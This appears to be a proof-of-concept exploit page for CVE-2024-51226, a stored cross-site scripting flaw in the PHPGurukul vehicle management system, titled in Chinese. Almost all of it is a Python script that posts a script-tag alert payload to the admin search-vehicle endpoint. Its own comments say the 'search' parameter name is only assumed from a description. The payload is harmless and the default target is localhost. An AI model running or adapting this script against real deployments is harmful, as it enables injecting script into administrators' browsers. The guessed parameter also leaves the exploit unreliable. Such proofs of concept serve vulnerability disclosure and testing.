CVE-2024-51226 Phpgurukul车辆管理系统存储型XSS漏洞

import requests def exploit_stored_xss(target_url): # Target endpoint for the search functionality endpoint = f"{target_url}/admin/search-vehicle.php" # Malicious payload to demonstrate XSS execution # Payload: Simple script to show an alert box xss_payload = '<script>alert("CVE-2024-51226_POC");</script>' # Data payload to be sent in the request # Assuming the parameter name is 'search' based on the description data = { "search": xss_payload } try: # Sending the POST request to inject the payload response = requests.post(endpoint, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the admin search page to verify if the alert triggers.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" exploit_stored_xss(target)